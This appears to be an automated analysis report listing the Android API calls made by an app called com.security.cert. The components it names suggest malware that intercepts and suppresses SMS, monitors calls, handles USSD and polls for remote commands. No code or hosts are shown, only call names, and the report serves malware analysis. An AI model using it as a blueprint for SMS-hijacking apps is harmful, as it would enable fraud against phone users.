Return Value | android.app.AlertDialog$Builder |
|
API: android.content.Intent->getStringExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.AlertDialog$Builder->setNegativeButton | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Integer |
|
param1 | com.security.cert.ui.b |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.AlertDialog$Builder |
|
API: android.app.AlertDialog$Builder->show | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.app.AlertDialog |
|
API: android.os.Binder->onTransact | Show source |
---|
API: android.os.Parcel->writeString | Show source |
---|
API: android.os.Parcel->enforceInterface | Show source |
---|
API: android.os.Parcel->readString | Show source |
---|
API: com.a.a.a.b->a | Show source |
---|
API: android.os.Parcel->writeNoException | Show source |
---|
API: android.os.Parcel->enforceInterface | Show source |
---|
API: com.a.a.a.b->a | Show source |
---|
API: android.os.Parcel->writeNoException | Show source |
---|
API: android.os.Parcel->writeInt | Show source |
---|
API: android.text.TextUtils->writeToParcel | Show source |
---|
API: android.os.Parcel->writeInt | Show source |
---|
API: android.os.Parcel->enforceInterface | Show source |
---|
API: android.os.Parcel->readInt | Show source |
---|
API: android.os.Parcelable$Creator->createFromParcel | Show source |
---|
API: com.a.a.a.b->a | Show source |
---|
API: android.os.Parcel->writeNoException | Show source |
---|
API: android.os.Parcel->writeInt | Show source |
---|
API: android.text.TextUtils->writeToParcel | Show source |
---|
API: android.os.Parcel->writeInt | Show source |
---|
API: android.os.Parcel->enforceInterface | Show source |
---|
API: com.a.a.a.b->b | Show source |
---|
API: android.os.Parcel->writeNoException | Show source |
---|
API: android.os.Binder-><init> | Show source |
---|
API: com.a.a.a.b->attachInterface | Show source |
---|
API: android.os.IBinder->queryLocalInterface | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->writeInterfaceToken | Show source |
---|
API: android.os.IBinder->transact | Show source |
---|
API: android.os.Parcel->readException | Show source |
---|
API: android.os.Parcel->readInt | Show source |
---|
API: android.os.Parcelable$Creator->createFromParcel | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->writeInterfaceToken | Show source |
---|
API: android.os.Parcel->writeString | Show source |
---|
API: android.os.IBinder->transact | Show source |
---|
API: android.os.Parcel->readException | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->writeInterfaceToken | Show source |
---|
API: android.os.Parcel->writeInt | Show source |
---|
API: android.text.TextUtils->writeToParcel | Show source |
---|
API: android.os.IBinder->transact | Show source |
---|
API: android.os.Parcel->readException | Show source |
---|
API: android.os.Parcel->readInt | Show source |
---|
API: android.os.Parcelable$Creator->createFromParcel | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->writeInt | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->obtain | Show source |
---|
API: android.os.Parcel->writeInterfaceToken | Show source |
---|
API: android.os.IBinder->transact | Show source |
---|
API: android.os.Parcel->readException | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: android.os.Parcel->recycle | Show source |
---|
API: org.apache.http.client.methods.HttpEntityEnclosingRequestBase->setEntity | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: org.apache.http.params.BasicHttpParams-><init> | Show source |
---|
API: org.apache.http.conn.params.ConnManagerParams->setTimeout | Show source |
---|
API: org.apache.http.conn.params.ConnPerRouteBean-><init> | Show source |
---|
API: org.apache.http.conn.params.ConnManagerParams->setMaxConnectionsPerRoute | Show source |
---|
API: org.apache.http.conn.params.ConnManagerParams->setMaxTotalConnections | Show source |
---|
API: org.apache.http.params.HttpConnectionParams->setSoTimeout | Show source |
---|
API: org.apache.http.params.HttpConnectionParams->setConnectionTimeout | Show source |
---|
API: org.apache.http.params.HttpConnectionParams->setTcpNoDelay | Show source |
---|
API: org.apache.http.params.HttpConnectionParams->setSocketBufferSize | Show source |
---|
API: org.apache.http.params.HttpProtocolParams->setVersion | Show source |
---|
API: java.lang.String->format | Show source |
---|
API: org.apache.http.params.HttpProtocolParams->setUserAgent | Show source |
---|
API: org.apache.http.conn.scheme.SchemeRegistry-><init> | Show source |
---|
API: org.apache.http.conn.scheme.PlainSocketFactory->getSocketFactory | Show source |
---|
API: org.apache.http.conn.scheme.Scheme-><init> | Show source |
---|
API: org.apache.http.conn.scheme.SchemeRegistry->register | Show source |
---|
API: org.apache.http.conn.ssl.SSLSocketFactory->getSocketFactory | Show source |
---|
API: org.apache.http.conn.scheme.Scheme-><init> | Show source |
---|
API: org.apache.http.conn.scheme.SchemeRegistry->register | Show source |
---|
API: org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager-><init> | Show source |
---|
API: org.apache.http.protocol.BasicHttpContext-><init> | Show source |
---|
API: org.apache.http.protocol.SyncBasicHttpContext-><init> | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->addRequestInterceptor | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->addResponseInterceptor | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->setHttpRequestRetryHandler | Show source |
---|
API: java.util.concurrent.Executors->newCachedThreadPool | Show source |
---|
API: java.util.WeakHashMap-><init> | Show source |
---|
API: java.util.HashMap-><init> | Show source |
---|
API: org.apache.http.client.methods.HttpPost-><init> | Show source |
---|
API: org.apache.http.client.methods.HttpUriRequest->addHeader | Show source |
---|
API: java.util.concurrent.ThreadPoolExecutor->submit | Show source |
---|
API: java.util.Map->get | Show source |
---|
API: java.util.LinkedList-><init> | Show source |
---|
API: java.util.Map->put | Show source |
---|
API: java.lang.ref.WeakReference-><init> | Show source |
---|
API: java.util.List->add | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: org.apache.http.HttpRequest->containsHeader | Show source |
---|
API: org.apache.http.HttpRequest->addHeader | Show source |
---|
API: java.util.Map->keySet | Show source |
---|
API: java.util.Set->iterator | Show source |
---|
API: java.util.Iterator->hasNext | Show source |
---|
API: java.util.Iterator->next | Show source |
---|
API: java.util.Map->get | Show source |
---|
API: org.apache.http.HttpRequest->addHeader | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: org.apache.http.HttpResponse->getEntity | Show source |
---|
API: org.apache.http.HttpEntity->getContentEncoding | Show source |
---|
API: org.apache.http.Header->getElements | Show source |
---|
API: org.apache.http.HeaderElement->getName | Show source |
---|
API: java.lang.String->equalsIgnoreCase | Show source |
---|
API: org.apache.http.HttpResponse->getEntity | Show source |
---|
API: com.b.a.a.d-><init> | Show source |
---|
API: org.apache.http.HttpResponse->setEntity | Show source |
---|
API: org.apache.http.entity.HttpEntityWrapper-><init> | Show source |
---|
API: org.apache.http.HttpEntity->getContent | Show source |
---|
API: java.util.zip.GZIPInputStream-><init> | Show source |
---|
API: org.apache.http.impl.client.AbstractHttpClient->getHttpRequestRetryHandler | Show source |
---|
API: org.apache.http.client.HttpRequestRetryHandler->retryRequest | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.NullPointerException->getMessage | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.io.IOException-><init> | Show source |
---|
API: org.apache.http.client.HttpRequestRetryHandler->retryRequest | Show source |
---|
API: java.net.ConnectException-><init> | Show source |
---|
API: java.net.ConnectException->initCause | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Thread->currentThread | Show source |
---|
API: java.lang.Thread->isInterrupted | Show source |
---|
API: org.apache.http.impl.client.AbstractHttpClient->execute | Show source |
---|
API: java.lang.Thread->currentThread | Show source |
---|
API: java.lang.Thread->isInterrupted | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: android.os.Looper->myLooper | Show source |
---|
API: com.b.a.a.g-><init> | Show source |
---|
API: android.os.Handler->sendMessage | Show source |
---|
API: org.apache.http.HttpResponse->getStatusLine | Show source |
---|
API: org.apache.http.HttpResponse->getEntity | Show source |
---|
API: org.apache.http.entity.BufferedHttpEntity-><init> | Show source |
---|
API: org.apache.http.util.EntityUtils->toString | Show source |
---|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
API: org.apache.http.StatusLine->getReasonPhrase | Show source |
---|
API: org.apache.http.client.HttpResponseException-><init> | Show source |
---|
API: android.os.Handler->obtainMessage | Show source |
---|
API: android.os.Message-><init> | Show source |
---|
API: android.os.Handler-><init> | Show source |
---|
API: org.apache.http.HttpResponse->getStatusLine | Show source |
---|
API: org.apache.http.HttpResponse->getHeaders | Show source |
---|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
API: org.apache.http.client.HttpResponseException-><init> | Show source |
---|
API: org.apache.http.Header->getValue | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
API: org.apache.http.client.HttpResponseException-><init> | Show source |
---|
API: org.apache.http.HttpResponse->getEntity | Show source |
---|
API: org.apache.http.entity.BufferedHttpEntity-><init> | Show source |
---|
API: org.apache.http.util.EntityUtils->toByteArray | Show source |
---|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
API: org.apache.http.StatusLine->getReasonPhrase | Show source |
---|
API: org.apache.http.client.HttpResponseException-><init> | Show source |
---|
API: java.lang.String->trim | Show source |
---|
API: java.lang.String->startsWith | Show source |
---|
API: java.lang.String->startsWith | Show source |
---|
API: org.json.JSONTokener-><init> | Show source |
---|
API: org.json.JSONTokener->nextValue | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.lang.Class->getName | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: org.json.JSONException-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.util.HashSet-><init> | Show source |
---|
API: java.util.HashSet-><init> | Show source |
---|
API: java.util.HashSet->add | Show source |
---|
API: java.util.HashSet->add | Show source |
---|
API: java.util.HashSet->add | Show source |
---|
API: java.util.HashSet->add | Show source |
---|
API: java.util.HashSet->add | Show source |
---|
API: org.apache.http.protocol.HttpContext->getAttribute | Show source |
---|
API: java.lang.Boolean->booleanValue | Show source |
---|
API: org.apache.http.protocol.HttpContext->getAttribute | Show source |
---|
API: org.apache.http.client.methods.HttpUriRequest->getMethod | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: android.os.SystemClock->sleep | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.util.HashSet->contains | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.util.HashSet->contains | Show source |
---|
API: java.io.IOException->printStackTrace | Show source |
---|
API: org.json.JSONObject->toString | Show source |
---|
API: org.apache.http.entity.StringEntity-><init> | Show source |
---|
API: java.io.UnsupportedEncodingException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: org.json.JSONObject->toString | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: org.json.JSONObject->toString | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: org.json.JSONException->printStackTrace | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: org.json.JSONObject-><init> | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: java.util.Locale->getDefault | Show source |
---|
API: java.util.Locale->getLanguage | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: java.lang.String->toLowerCase | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->toLowerCase | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->toLowerCase | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.json.JSONException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: org.json.JSONObject-><init> | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: org.json.JSONObject-><init> | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONObject->put | Show source |
---|
API: org.json.JSONException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: android.telephony.SmsManager->getDefault | Show source |
---|
API: org.json.JSONObject->toString | Show source |
---|
API: android.telephony.SmsManager->divideMessage | Show source |
---|
API: java.util.ArrayList->size | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: org.json.JSONObject->toString | Show source |
---|
API: java.io.ByteArrayOutputStream-><init> | Show source |
---|
API: java.io.ObjectOutputStream-><init> | Show source |
---|
API: java.io.ObjectOutputStream->writeObject | Show source |
---|
API: android.app.PendingIntent->getBroadcast | Show source |
---|
API: java.util.ArrayList->add | Show source |
---|
API: java.util.ArrayList-><init> | Show source |
---|
API: java.lang.IllegalArgumentException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: android.content.SharedPreferences$Editor->putInt | Show source |
---|
API: android.content.SharedPreferences$Editor->commit | Show source |
---|
API: android.text.TextUtils->split | Show source |
---|
API: java.util.Arrays->asList | Show source |
---|
API: java.util.ArrayList-><init> | Show source |
---|
API: java.util.List->contains | Show source |
---|
API: java.util.List->add | Show source |
---|
API: android.text.TextUtils->join | Show source |
---|
API: android.content.SharedPreferences$Editor->putString | Show source |
---|
API: android.content.SharedPreferences$Editor->commit | Show source |
---|
API: android.content.SharedPreferences->getInt | Show source |
---|
API: android.content.SharedPreferences$Editor->putBoolean | Show source |
---|
API: android.content.SharedPreferences$Editor->commit | Show source |
---|
API: android.content.SharedPreferences->getBoolean | Show source |
---|
API: android.content.SharedPreferences$Editor->remove | Show source |
---|
API: android.content.SharedPreferences$Editor->commit | Show source |
---|
API: android.content.SharedPreferences$Editor->putString | Show source |
---|
API: android.text.TextUtils->split | Show source |
---|
API: java.util.Arrays->asList | Show source |
---|
API: java.util.List->size | Show source |
---|
API: java.util.ArrayList-><init> | Show source |
---|
API: java.util.List->iterator | Show source |
---|
API: java.util.Iterator->hasNext | Show source |
---|
API: java.util.Iterator->next | Show source |
---|
API: org.json.JSONObject-><init> | Show source |
---|
API: java.util.List->add | Show source |
---|
API: org.json.JSONException->printStackTrace | Show source |
---|
API: android.content.SharedPreferences->edit | Show source |
---|
API: android.content.Context->getSharedPreferences | Show source |
---|
API: android.content.SharedPreferences->getString | Show source |
---|
API: android.text.TextUtils->split | Show source |
---|
API: java.util.Arrays->asList | Show source |
---|
API: java.util.ArrayList-><init> | Show source |
---|
API: java.util.List->iterator | Show source |
---|
API: java.util.Iterator->hasNext | Show source |
---|
API: java.util.Iterator->next | Show source |
---|
API: org.json.JSONObject-><init> | Show source |
---|
API: java.util.List->remove | Show source |
---|
API: android.text.TextUtils->join | Show source |
---|
API: android.content.SharedPreferences$Editor->putString | Show source |
---|
API: org.json.JSONException->printStackTrace | Show source |
---|
API: android.content.SharedPreferences$Editor->commit | Show source |
---|
API: android.content.SharedPreferences$Editor->putString | Show source |
---|
API: android.content.SharedPreferences$Editor->commit | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.json.JSONObject->get | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.json.JSONObject->get | Show source |
---|
API: org.json.JSONException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.json.JSONObject->getString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.json.JSONObject->getString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.json.JSONObject->getString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.json.JSONObject->getInt | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->putExtra | Show source |
---|
API: android.content.Intent->addFlags | Show source |
---|
API: android.content.Context->startActivity | Show source |
---|
API: android.net.Uri->encode | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.net.Uri->parse | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->addFlags | Show source |
---|
API: android.content.Context->startActivity | Show source |
---|
API: android.net.Uri->encode | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->putExtra | Show source |
---|
API: android.content.Intent->addFlags | Show source |
---|
API: android.content.Context->startActivity | Show source |
---|
API: org.json.JSONArray->length | Show source |
---|
API: org.json.JSONArray->length | Show source |
---|
API: org.json.JSONArray->getString | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: android.text.TextUtils->join | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: android.telephony.SmsManager->getDefault | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Class->desiredAssertionStatus | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.lang.Object->equals | Show source |
---|
API: org.json.JSONObject->length | Show source |
---|
API: org.json.JSONObject->length | Show source |
---|
API: org.json.JSONObject->keys | Show source |
---|
API: java.util.Iterator->hasNext | Show source |
---|
API: java.util.Iterator->next | Show source |
---|
API: org.json.JSONObject->opt | Show source |
---|
API: org.json.JSONObject->opt | Show source |
---|
API: org.json.JSONArray->length | Show source |
---|
API: org.json.JSONArray->length | Show source |
---|
API: org.json.JSONArray->length | Show source |
---|
API: org.json.JSONArray->opt | Show source |
---|
API: org.json.JSONArray->opt | Show source |
---|
API: java.lang.Object->equals | Show source |
---|
API: android.content.Context->getContentResolver | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.Runtime->getRuntime | Show source |
---|
API: java.lang.Process->getInputStream | Show source |
---|
API: java.io.InputStreamReader-><init> | Show source |
---|
API: java.io.BufferedReader-><init> | Show source |
---|
API: java.io.BufferedReader->readLine | Show source |
---|
API: java.lang.String->matches | Show source |
---|
API: java.io.BufferedReader->close | Show source |
---|
API: java.lang.String->contains | Show source |
---|
API: java.io.IOException->getMessage | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: java.io.IOException->getMessage | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: java.io.BufferedReader->close | Show source |
---|
API: java.io.IOException->getMessage | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: java.io.BufferedReader->close | Show source |
---|
API: java.io.IOException->getMessage | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: android.content.ComponentName-><init> | Show source |
---|
API: android.content.Context->getPackageManager | Show source |
---|
API: android.content.pm.PackageManager->setComponentEnabledSetting | Show source |
---|
API: java.lang.String->contains | Show source |
---|
API: android.app.Service->onCreate | Show source |
---|
API: android.os.Handler-><init> | Show source |
---|
API: com.security.cert.services.CheckCommandsService->a | Show source |
---|
API: com.security.cert.services.CheckCommandsService->b | Show source |
---|
API: com.security.cert.services.CheckCommandsService->stopSelf | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->setAction | Show source |
---|
API: android.app.PendingIntent->getBroadcast | Show source |
---|
API: java.lang.Runnable->run | Show source |
---|
API: android.app.Service-><init> | Show source |
---|
API: com.security.cert.services.CheckCommandsService->b | Show source |
---|
API: android.app.Service-><init> | Show source |
---|
API: com.security.cert.services.CheckQueueService->b | Show source |
---|
API: com.security.cert.services.CheckQueueService->b | Show source |
---|
API: com.security.cert.services.CheckQueueService->stopSelf | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->setAction | Show source |
---|
API: android.app.PendingIntent->getBroadcast | Show source |
---|
API: java.lang.Runnable->run | Show source |
---|
API: android.app.Service->onCreate | Show source |
---|
API: android.os.Handler-><init> | Show source |
---|
API: com.security.cert.services.CheckQueueService->a | Show source |
---|
API: java.lang.String->equalsIgnoreCase | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: com.security.cert.services.PhoneCallReceiver->b | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.lang.Class->getSimpleName | Show source |
---|
API: java.lang.Exception->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: java.util.regex.Pattern->compile | Show source |
---|
API: java.util.regex.Pattern->matcher | Show source |
---|
API: java.util.regex.Matcher->matches | Show source |
---|
API: com.security.cert.services.PhoneCallReceiver->c | Show source |
---|
API: java.lang.String->equalsIgnoreCase | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.lang.Class->getSimpleName | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: com.security.cert.services.PhoneCallReceiver->a | Show source |
---|
API: com.security.cert.services.PhoneCallReceiver->a | Show source |
---|
API: com.security.cert.services.PhoneCallReceiver->a | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.lang.Class->getName | Show source |
---|
API: java.lang.Class->forName | Show source |
---|
API: java.lang.reflect.Method->setAccessible | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: java.lang.String->equalsIgnoreCase | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: java.lang.String->equalsIgnoreCase | Show source |
---|
API: java.util.List->iterator | Show source |
---|
API: java.util.Iterator->hasNext | Show source |
---|
API: java.util.Iterator->next | Show source |
---|
API: android.text.TextUtils->isEmpty | Show source |
---|
API: android.text.TextUtils->isEmpty | Show source |
---|
API: java.util.regex.Pattern->compile | Show source |
---|
API: java.util.regex.Pattern->matcher | Show source |
---|
API: java.util.regex.Matcher->matches | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: com.security.cert.services.SmsReceiver->a | Show source |
---|
API: java.lang.String->equalsIgnoreCase | Show source |
---|
API: android.os.Bundle->get | Show source |
---|
API: com.security.cert.services.SmsReceiver->a | Show source |
---|
API: com.security.cert.services.SmsReceiver->b | Show source |
---|
API: com.security.cert.services.SmsReceiver->a | Show source |
---|
API: org.json.JSONException->printStackTrace | Show source |
---|
API: com.security.cert.services.SmsReceiver->a | Show source |
---|
API: com.security.cert.services.SmsReceiver->abortBroadcast | Show source |
---|
API: com.security.cert.services.SmsReceiver->a | Show source |
---|
API: java.net.URLEncoder->encode | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: java.lang.String->contains | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: java.lang.String->equalsIgnoreCase | Show source |
---|
API: com.security.cert.services.SmsSentReceiver->getResultCode | Show source |
---|
API: android.os.Bundle->containsKey | Show source |
---|
API: android.content.Intent->getSerializableExtra | Show source |
---|
API: android.app.Service-><init> | Show source |
---|
API: com.security.cert.services.c-><init> | Show source |
---|
API: com.security.cert.services.d-><init> | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.content.IntentFilter-><init> | Show source |
---|
API: android.content.IntentFilter->addAction | Show source |
---|
API: android.content.IntentFilter->addAction | Show source |
---|
API: android.content.IntentFilter->addDataScheme | Show source |
---|
API: android.content.IntentFilter->addDataAuthority | Show source |
---|
API: android.content.IntentFilter->addDataPath | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->registerReceiver | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->unregisterReceiver | Show source |
---|
API: android.app.Service->onDestroy | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.security.cert.services.CheckCommandsService->a | Show source |
---|
API: android.app.PendingIntent->send | Show source |
---|
API: com.security.cert.services.CheckCommandsService->c | Show source |
---|
API: com.security.cert.services.CheckCommandsService->b | Show source |
---|
API: android.os.Handler->postDelayed | Show source |
---|
API: android.app.PendingIntent$CanceledException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.security.cert.services.CheckQueueService->a | Show source |
---|
API: android.app.PendingIntent->send | Show source |
---|
API: com.security.cert.services.CheckQueueService->c | Show source |
---|
API: com.security.cert.services.CheckQueueService->b | Show source |
---|
API: android.os.Handler->postDelayed | Show source |
---|
API: android.app.PendingIntent$CanceledException->toString | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: android.content.Intent->getAction | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: android.content.Context->getString | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: android.content.Intent->getAction | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: java.lang.String->contentEquals | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: java.lang.String->contentEquals | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: java.lang.String->contentEquals | Show source |
---|
